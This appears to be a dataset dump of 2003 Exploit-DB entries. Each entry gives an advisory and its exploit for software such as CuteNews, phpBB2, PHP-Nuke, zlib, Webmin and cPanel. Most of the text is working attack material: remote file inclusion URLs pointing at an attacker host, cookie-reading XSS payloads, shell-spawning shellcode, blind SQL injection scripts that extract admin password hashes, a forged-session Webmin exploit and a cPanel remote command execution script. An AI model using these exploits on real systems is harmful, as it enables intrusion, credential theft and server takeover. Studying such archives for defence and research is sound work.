QLWD/code_shield huggingface dataset:
标题: CuteNews 0.88 - 'search.php' Remote File Inclusion EDB-ID: 22284 CVE: 2003-1240 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6935/info
 
CuteNews is prone to an issue that may allow remote attackers to include files located on remote servers.
 
Under some circumstances, it is possible for remote attackers to influence the include path for several include files to point to an external file on a remote server.
 
If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.example.com/cutenews/search.php?cutepath=http://<attacker_site>/config.php

----------------------------------config.php----------------------------------------
 
/", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo "
"; } } } ?> URL: https://www.exploit-db.com/exploits/22284
标题: Netscape 7.0 - JavaScript Regular Expression Denial of Service EDB-ID: 22287 CVE: 2003-1419 类型: DOS 平台: UNIX 发布日期: 2003-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6959/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when executing certain JavaScript methods.

If a malicious page containing a specially crafted JavaScript regular expression method is viewed the browser reportedly becomes un-stable this may result in the critical failure of an affected browser.

This vulnerability was reported for Netscape version 7. It is not known if previous versions are also affected. 

<html>
<head>
<title>test</title>
<--script-- language="JavaScript">
function reformatDate(someDate) {
var tokens = someDate.split(/(\/|-)/);
if (tokens[1].length == 1) tokens[1] = "0" + tokens[1];
if (tokens[0].length == 1) tokens[0] = "0" + tokens[0];
var result = tokens[2] + tokens[1] + tokens[0];
alert(result);
//return result;
}
</--script-->
</head>
<body>
<form action="" method="GET" name="form1" onSubmit="return reformatDate(this.dt.value);">
MM/DD/YYYY - <input type=text name=dt>
<input type=submit>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/22287
标题: WihPhoto 0.86 dev - 'sendphoto.php' File Disclosure EDB-ID: 22282 CVE: 2003-1239 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6929/info

A vulnerability has been reported for WihPhoto that may result in the disclosure of files to remote attackers.

The vulnerability exists due to inadequate verification of some URI parameters in the sendphoto.php script file.

An attacker can exploit this vulnerability and specify arbitrary files as the parameters to the variables. This will cause WihPhoto to send an email with the attacker-specified file as an attachment. 


http://www.example.org/sendphoto.php?album=..&pic=config.inc.php
http://www.example.org/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1 URL: https://www.exploit-db.com/exploits/22282
标题: E-theni - Remote File Inclusion Command Execution EDB-ID: 22293 CVE: 2003-1256 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/6970/info

E-theni may allow inclusion of malicious remote files. This is due to remote users being able to influence the include path of an external file ('para_langue.php') referenced by the 'aff_liste_langue.php' script. This could result in arbitrary command execution. 

http://www.example.com/admin_t/include/aff_liste_langue.php?rep_include=http://<attacker_site>/para_langue.php URL: https://www.exploit-db.com/exploits/22293
标题: GONiCUS System Administrator 1.0 - Remote File Inclusion EDB-ID: 22279 CVE: 2003-1412 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6922/info

GONiCUS System Administrator is prone to an issue that may allow remote attackers to include files located on remote servers. This issue is present in several PHP pages existing in the /plugins and /includes folders.

By crafting specific URI parameters it is possible for an attacker to influence the include path for these scripts to an external file on an attacker-controlled host. If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the vulnerable web server.

This vulnerability has been reported for GONiCUS System Administrator Version 1, previous versions may also be affected.

http://www.example.org/include/help.php?base=http://www.attacker.org/ URL: https://www.exploit-db.com/exploits/22279
标题: Sage 1.0 Beta 3 - Content Management System Full Path Disclosure EDB-ID: 22269 CVE: 2003-1242 类型: REMOTE 平台: WINDOWS 发布日期: 2003-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/6893/info

Sage Content Management System contains a path disclosure vulnerability. When a request is made for a module that does not exist, the returned error message contains the full path to the Sage installation directory.

Disclosed path information could be used to launch further attacks against the system. 

http://hostname/?mod=some_thing&op=browse

http://hostname/?mod=node&nid=some_thing&op=view URL: https://www.exploit-db.com/exploits/22269
标题: Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (1) EDB-ID: 22273 CVE: 2003-0107 类型: DOS 平台: LINUX 发布日期: 2003-02-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6913/info

A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.

Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.

Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. 

#include <zlib.h>
    #include <errno.h>
    #include <stdio.h>

    int main(void) {
      gzFile f;
      int ret;

      if(!(f = gzopen("/dev/null", "w"))) {
        perror("/dev/null");
        exit(1);
      }
      ret = gzprintf(f, "%10240s", "");
      printf("gzprintf -> %d\n", ret);
      ret = gzclose(f);
      printf("gzclose -> %d [%d]\n", ret, errno);
      exit(0);
    } URL: https://www.exploit-db.com/exploits/22273
标题: Sage 1.0 Beta 3 - Content Management System Cross-Site Scripting EDB-ID: 22270 CVE: 2003-1243 类型: REMOTE 平台: WINDOWS 发布日期: 2003-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/6894/info

Sage is prone to a cross site scripting vulnerability.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Sage, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client. 

http://hostname/?mod=<script>alert(document.cookie)</script>&op=browse URL: https://www.exploit-db.com/exploits/22270
标题: myPHPNuke 1.8.8 - 'links.php' Cross-Site Scripting EDB-ID: 22268 CVE: 2003-1372 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/6892/info

Reportedly, myPHPNuke 'links.php' does not adequately filter HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. All code will be executed within the context of the website running myPHPNuke.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

This vulnerability was reported for myPHPNuke 1.8.8 earlier versions may also be affected.

http://www.example.com/myphpnuke/links.php?op=MostPopular&ratenum=[scr!pt]alert(document.cookie);[/scr!pt]&ratetype=percent

http://www.example.com/myphpnuke/links.php?op=search&query=[scr!pt]alert('tacettin@olympos.org');[/scr!pt]?query= URL: https://www.exploit-db.com/exploits/22268
标题: Zlib 1.1.4 - Compression Library 'gzprintf()' Buffer Overrun (2) EDB-ID: 22274 CVE: 2003-0107 类型: REMOTE 平台: LINUX 发布日期: 2003-02-23 漏洞利用脚本: // source: https://www.securityfocus.com/bid/6913/info
 
A buffer-overrun vulnerability has been reported in the Zlib compression library. Due to the use of 'vsprintf()' by an internal Zlib function, an attacker can cause memory to become corrupted. This buffer overrun occurs becuase the software fails to check the boundaries of user-supplied data given to the 'gzprintf()' function.
 
Successful exploitation of this vulnerability may allow an attacker to execute arbitrary instructions.
 
Note that only Zlib 1.1.4 has been reported vulnerable to this issue. It is not yet known whether earlier versions are also affected. 

C local exploit for zlib <= 1.1.4
/      just for fun..not for root :)
\
/   Usage: gcc -o zlib zlib.c -lz
\
/   by CrZ [crazy_einstein@yahoo.com] lbyte
[lbyte.void.ru]
*/


#include <zlib.h>
#include <errno.h>
#include <stdio.h>


int main(int argc, char **argv) {
        char shell[]=
                "\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
                "\xc0\x88\x43\x07\x89\x5b\x08\x89"
                "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
                "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
                "/bin/sh";
        gzFile f;
        int ret;
        long xret;
        char cret[10];
        char badbuff[10000];
        int i;

        sprintf(badbuff,"%p",shell);
        sscanf(badbuff,"0x%x",&xret);

        printf("[>] exploiting...\n");

        if(!(f = gzopen("/dev/null", "w"))) {
                perror("/dev/null");
                exit(1);
        }

        printf("[>] xret = 0x%x\n",xret);


sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,

(xret>>16)&0xff,(xret>>24)&0xff);

        bzero(badbuff,sizeof(badbuff));

        for(i=0;i<5000;i+=4) strcat(badbuff,cret);

        setuid(0);
        setgid(0);
        ret = gzprintf(stderr, "%s", badbuff );
        setuid(0);
        setgid(0);
        printf(">Sent!..\n");
        printf("gzprintf -> %d\n", ret);
        ret = gzclose(f);
        printf("gzclose -> %d [%d]\n", ret, errno);

        exit(0);
} URL: https://www.exploit-db.com/exploits/22274
标题: PHP-Nuke 5.6/6.0 - Search Engine SQL Injection EDB-ID: 22266 CVE: 2003-1435 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6887/info


It has been reported that the search module distributed with PHPNuke is vulnerable to an SQL injection attack.

PHPNuke, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. This may result in unauthorized operations being performed on the underlying database. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker. 

<?php

########## PHPnuke Auto-SelectFish Attacker
########## David@cgishield.com
########## works on phpnuke 5.6 and 6.0

// To use this program, simply upload it to a php enabled webserver, and execute
// If php times out before the whole password hash is determined, 
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:

$server="www.phpnuke.org";
$script="/modules.php";

// Title of a story created specifically by the admin who is being hacked.
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";



$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);

$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";

for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){

$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_account_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");

if (eregi("No matches found to your query","$data")){

}
else{

echo("<br>$i= $i2"); flush();break;}

}

}


function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}

return $buf;
}


?> URL: https://www.exploit-db.com/exploits/22266
标题: Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing EDB-ID: 22275 CVE: 2003-0101 类型: REMOTE 平台: LINUX 发布日期: 2003-02-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/6915/info

A vulnerability has been discovered in the 'Miniserv.pl' script used to invoke both Webmin and Usermin. Due to insufficient sanitization of client-supplied BASE64 encoded input, it is possible to inject a Session ID into the access control list.

Successful exploitation of this vulnerability may allow an attacker to bypass typical authentication procedures, thus gaining adminstrative access to a webmin/usermin interface. 


#!/usr/bin/perl
#
# Exploit for Webmin 1.050 -> 1.060 by Carl Livitt
#
# Inserts a fake session_id into the sessions list of webmin.
# Does no error checking... if remote host is not found, no
# error will be reported.
#

print "Webmin 1.050 - 1.060 Remote SID Injection Exploit\n";
print "By Carl Livitt <carl at learningshophull dot co dot uk>\n\n";

$nc="/usr/bin/netcat";

if($#ARGV == -1) {
 print "Syntax:\n\t$0 hostname\n";
 exit(1);
}

$hostname=$ARGV[0];

if ( ! -x $nc ) {
 print "netcat not found!\n";
 exit(2);
}

open(NC, "|$nc $hostname 10000 >& /dev/null");
print NC "GET / HTTP/1.1\n";
print NC "Host: $hostname\n";
print NC "User-agent: webmin\n";
print NC "Authorization: Basic YSBhIDEKbmV3IDEyMzQ1Njc4OTAgYWRtaW46cGFzc3dvcmQ=\n\n";
close(NC);

print "You should now have a session_id of 1234567890 for user 'admin' on host $hostname.\n";
print "Just set two cookies in your browser:\n\ttesting=1\n\tsid=1234567890\nand you will ";
print "be authenticated to the webmin server!\n\n";
print "Note: This will only work on a webmin server configured with the 'passdelay' option.\n"; URL: https://www.exploit-db.com/exploits/22275
标题: OpenSSL 0.9.x - CBC Error Information Leakage EDB-ID: 22264 CVE: 2003-0078 类型: REMOTE 平台: LINUX 发布日期: 2003-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6884/info

A side-channel attack against implementations of SSL exists that, through analysis of the timing of certain operations, can reveal sensitive information to an active adversary. This information leaked by vulnerable implementations is reportedly sufficient for an adaptive attack that will ultimately obtain plaintext of a target block of ciphertext.

The information loss was reduced in OpenSSL versions 0.9.6i and 0.9.7a. It is not known if other implementations are vulnerable to this or similar weaknesses.

*It should be noted that this attack is reportedly difficult to exploit and requires that the adversary be a man-in-the-middle. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22264.tar.gz URL: https://www.exploit-db.com/exploits/22264
标题: PHPBB2 - 'Page_Header.php' SQL Injection EDB-ID: 22267 CVE: 2003-1244 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6888/info

A SQL injection vulnerability has been reported in phpBB2.

phpBB2, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries. As a result, attackers may supply malicious parameters to manipulate the structure and logic of SQL queries. This may result in unauthorized operations being performed on the underlying database. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker. 

<?php

########## PHPBB 2.0,2.01,2.02 Auto-SelectFish Attacker
########## David@cgishield.com


// To use this program, simply upload it to a php enabled webserver, and execute
// If php times out before the whole password hash is determined, 
// adjust the maximum script execution time in php.ini
// Also, replace following with correct values:

$server="192.168.1.100";
$script="/phpbb2/index.php";
$the_userid_to_hack="2";


// don't change this
$data_to_match="In total there are <b>0</b> users online";

$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";

for($i=1;$i<33;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="forum_id=1+or+user_id=$the_userid_to_hack+and+mid(user_password,$i,1)=$checkchar[$i2]/*";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("$data_to_match","$data")){
//echo("<b>$i2</b>");
}
else{echo("<br>$i= $i2"); flush();break;}
}
}


function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}

return $buf;
}

?> URL: https://www.exploit-db.com/exploits/22267
标题: Nuked-klaN 1.3 - Remote Information Disclosure EDB-ID: 22277 CVE: 2003-1371 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/6917/info

A vulnerability has been discovered in Nuked-Klan which may be exploited to execute certain PHP functions on a target server. This issue occurs in the 'Team', 'News', and 'Lien' modules and is due to insufficient sanitization of user-supplied URI parameters.

This issue may be exploited by a remote attacker to obtain sensitive server information, which could aid in launching further attacks against a target system.

The vulnerability was reported for Nuked-Klan beta 1.3; earlier versions may also be affected. 

http://www.example.org/index.php?file=Team&op=phpinfo
http://www.example.org/index.php?file=News&op=phpinfo
http://www.example.org/index.php?file=Liens&op=phpinfo URL: https://www.exploit-db.com/exploits/22277
标题: IBM AIX 4.3.3/5.1/5.2 - 'libIM' Buffer Overflow EDB-ID: 22249 CVE: 2003-0087 类型: DOS 平台: AIX 发布日期: 2003-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/6840/info

A buffer overflow vulnerability has been discovered in the libIM library available for the AIX 4.3, 5.1, 5.2 operating system. As a result it may be possible to overwrite sensitive memory in programs linked to the affected library. By identifying a linked application with the setuid bit applied, it may be possible to exploit this vulnerability to execute code with elevated privileges.

Under certain circumstances this issue may pose as a remote security threat. 

/usr/lpp/X11/bin/aixterm -im `perl -e 'print "A"x47; print pack("l",0x11223344)'` URL: https://www.exploit-db.com/exploits/22249
标题: DotBr 0.1 - 'System.php3' Remote Command Execution EDB-ID: 22253 CVE: 2003-1405 类型: WEBAPPS 平台: PHP 发布日期: 2003-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6866/info

The DotBr 'system.php3' script is prone to a remote command execution vulnerability. This is due to insufficient sanitization of user-supplied data. Exploitation may result in execution of arbitrary shell commands with the privileges of the webserver process. 

http://www.example.com/admin/system.php3?cmd=[COMMAND] URL: https://www.exploit-db.com/exploits/22253
标题: cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (4) EDB-ID: 22263 CVE: 2003-1425 类型: WEBAPPS 平台: CGI 发布日期: 2003-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/6882/info
   
A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.
   
An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.
   
This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected.

#!/usr/bin/perl
#
# ------- start here -------
#
# Bug Founded by: pokleyzz
#
# Cpanel is web hosting control panel which allow client manage their web account through
# web interface. Most of the application are written in perl and  compiled to binary.
#
# Details
# =======
# There is multiple vurnerabilities in this package as describe below.
#
# 1) Remote command Execution in guestbook.cgi (/usr/local/cpanel/cgi-sys/guestbook.cgi)
#
# There is classic perl open function vulnerability in template variable which allow any
# user to read any file or run command  as valid system user which assign to specific url
# in apache configuration.
#
# 2) Local privileges escalation (root)
#
# Cpanel come with openwebmail packages as one of web base email reader which suid root.
# In the system with suid perl install perfectly (with suid mode turn on) local user may
# include their own perl script when running openwebmail script (oom) through suidperl.
#
# Openwebmail will append perl include path (@INC) through SCRIPT_FILENAME environment variable,
# then include some file when execute.
#
# /usr/local/cpanel/base/openwebmail/oom line 14
#
# if ( $ENV{'SCRIPT_FILENAME'} =~ m!^(.*?)/[\w\d\-]+\.pl! || $0 =~ m!^(.*?)/[\w\d\-]+\.pl! ) { $SCRIPT_DIR=$1; }
# if (!$SCRIPT_DIR) { print "Content-type: text/html\n\n\$SCRIPT_DIR not set in CGI script!\n"; exit 0; }
# push (@INC, $SCRIPT_DIR, ".");
# .
# .
# .
# require "openwebmail-shared.pl";
#
# proof of concept:
# i) Create file openwebmail-shared.pl contain perl script you want to execute.
# ii) Set SCRIPT_FILENAME point to full path of openwebmail-shared.pl file you just create.
# iii) exec oom script (ex: suidperl -T /usr/local/cpanel/base/openwebmail/oom )
#
# -------- cut here --------
#
# coded by cyzek. cyzek@efnet
# thanks for p0ng p0ng@brasnet.org

$url = $ARGV[0];
$cmd = $ARGV[1];

if(@ARGV != 2){
        print " jozc.pl - Cpanel 5 and below Remote Exploit by cyzek.\n";
        print " use %20 for spaces.\n";
        print " usage: $0 <host> <cmd>\n";
        exit;
}

use IO::Socket::INET;
$rem = IO::Socket::INET->new(
Proto       => "tcp",
PeerAddr    => $url,
PeerPort    => "80");

if ($rem) {
        print $rem "GET /cgi-sys/guestbook.cgi?user=cpanel&template=|$cmd| HTTP/1.0 \n\r\n\r\n\r";
        @resp = <$rem>;
}
print "@resp\n\n"; URL: https://www.exploit-db.com/exploits/22263